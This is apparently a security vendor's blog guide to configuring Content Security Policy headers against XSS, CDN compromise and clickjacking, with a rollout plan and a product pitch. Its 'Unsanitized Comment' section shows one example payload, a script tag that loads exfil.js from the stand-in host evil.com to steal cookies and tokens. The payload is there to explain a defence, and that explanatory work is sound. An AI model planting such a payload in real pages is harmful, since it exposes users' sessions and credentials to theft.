CAI Technology
Menu ☰
aegis · · 9 min read

CSP Configuration Guide 2026: Why 'unsafe-inline' Nullifies Security

CSP is the second XSS defense after input sanitization. Learn modern CSP setup (nonce + strict-dynamic) and why 'unsafe-inline' reduces protection to security theater.

CAI Technology · Last reviewed: 5/9/2026
CSP Configuration Guide 2026: Why 'unsafe-inline' Nullifies Security

In Short

Content Security Policy (CSP) is an HTTP header through which the server instructs the browser on which sources of code, styles, images, fonts, scripts, AJAX connections, or iframes are permitted. Without CSP, the browser executes any loaded script—including scripts injected via Cross-Site Scripting (XSS), reflected in the URL, or served from compromised CDNs.

CSP is the second line of defense against XSS (the first being input sanitization) and is explicitly mentioned in OWASP Top 10:2025 — A02 Security Misconfiguration as a mandatory measure for applications handling sensitive data or authentication.

Mistake #1 in real-world deployments: including 'unsafe-inline' in script-src—this nullifies 95% of the protection.

Anatomy of an XSS Attack and How CSP Blocks It

The “Unsanitized Comment” Case

The attacker posts a comment on your blog:

<script src="https://evil.com/exfil.js"></script>

If the input is not escaped, the users’ browsers execute the script from evil.com with their session privileges. The attacker exfiltrates cookies, JWT tokens from localStorage, and data from forms in execution.

With CSP script-src 'self', the browser refuses to load the script from an external domain → attack fails.

The “Compromised CDN” Case (Polyfill.io 2024)

Polyfill.io was sold to a Chinese company and subsequently injected malware into polyfills. All sites loading cdn.polyfill.io/polyfill.min.js served malware to their users.

With CSP using 'sha256-XXXX...' (subresource integrity hash) or an explicit allowlist, modification of the CDN content is detected instantly and the script is refused.

The “iframe Spoofing” Case

An attacker loads your site in a transparent iframe over their own page and overlays fake buttons on top of real forms (clickjacking). CSP frame-ancestors 'none' blocks loading in an external iframe.

Anatomy of a Correctly Configured CSP

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'sha256-Vk5c5gB...' https://js.stripe.com;
  style-src 'self' 'unsafe-hashes' https://fonts.googleapis.com;
  img-src 'self' data: https:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.stripe.com;
  frame-src https://js.stripe.com https://checkout.stripe.com;
  frame-ancestors 'none';
  form-action 'self' https://checkout.stripe.com;
  base-uri 'self';
  object-src 'none';
  upgrade-insecure-requests;
  report-uri /csp-violations

Important Directives Explained

DirectiveRole
default-src 'self'Strict fallback — any resource not explicitly covered falls back to 'self'
script-srcPermitted sources for JavaScript (the most critical directive)
style-srcPermitted sources for CSS
img-srcPermitted sources for images
connect-srcPermitted sources for fetch, XMLHttpRequest, WebSocket
frame-srcWho can be loaded into your iframes
frame-ancestorsWho can load your site in an iframe (anti-clickjacking)
form-actionWhere forms can submit to (anti-form-hijacking)
base-uriRestricts <base href> (anti-rebase attack)
object-src 'none'Blocks <object>, <embed> (Flash legacy)
report-uriEndpoint that receives JSON with violations

Why 'unsafe-inline' Nullifies CSP

'unsafe-inline' in script-src allows the execution of any inline <script> or onclick=, onmouseover= attribute. This is exactly the XSS vector that CSP is supposed to block.

By allowing 'unsafe-inline', CSP becomes security theater—the header exists but protects nothing relevant.

Check your site’s current CSP at https://csp-evaluator.withgoogle.com/ (Google)—it automatically flags weak configurations.

The Modern Strategy (CSP Level 3)

In 2026, the recommended approach is:

script-src 'self' 'nonce-r4nd0m1234' 'strict-dynamic';

Step-by-Step Implementation

Step 1 — Audit External Dependencies

Identify all domains from which you load JS/CSS/img/fonts:

DevTools → Network tab on critical pages (login, checkout, dashboard) — complete list.

Step 2 — Start with Report-Only Mode (7-14 Days)

Content-Security-Policy-Report-Only: default-src 'self'; ...; report-uri /csp-violations

The browser does not block anything, only reports violations to the endpoint. This allows you to detect missing resources before blocking them.

Step 3 — Setup /csp-violations Endpoint

Server-side (Express, FastAPI, etc.) — receives POST with JSON containing the blocked URL, violated directives, and origin page. Log + analyze. After 14 days without false positives → switch to enforce.

Step 4 — Switch to Enforce

Content-Security-Policy: default-src 'self'; ...; report-uri /csp-violations

Remove Content-Security-Policy-Report-Only (leave only enforce + report-uri).

  1. Move all inline scripts to separate .js files
  2. For remaining inline <script> tags, use nonce or sha256 hash
  3. Onclick handlers <button onclick="..."> → addEventListener in external .js
<!-- Before -->
<button onclick="doSomething()">Click</button>

<!-- After -->
<button id="action-btn">Click</button>
<script nonce="r4nd0m1234">
  document.getElementById('action-btn').addEventListener('click', doSomething);
</script>

Step 6 — Monitor Production

/csp-violations logs should be reviewed weekly. Error volume indicates:

Common Confusions

“CSP breaks my site.” — Only if you deploy directly to enforce without report-only. With the correct ramp-up, the risk is zero.

“CSP is overkill — I use DOMPurify for input sanitization.” — Sanitization is level 1 (preventive). CSP is level 2 (defense in depth). Both are necessary in 2026.

“I have 'unsafe-eval' just for one library, is it OK?”'unsafe-eval' opens the door to dynamic code injection. Refactor the library or replace it. Legacy code must be re-verified.

Check Now

ARTEMIS automatically detects the presence of CSP + flags weak configurations (unsafe-inline, unsafe-eval) at 2 EUR per Site scan or 40 EUR Full.


🔗 Complementary CAI Technology Solutions


tehnic@caitech.ro


We start with a 30-minute conversation.

Free AI-readiness audit for companies with 50+ employees. We reply within 24 hours.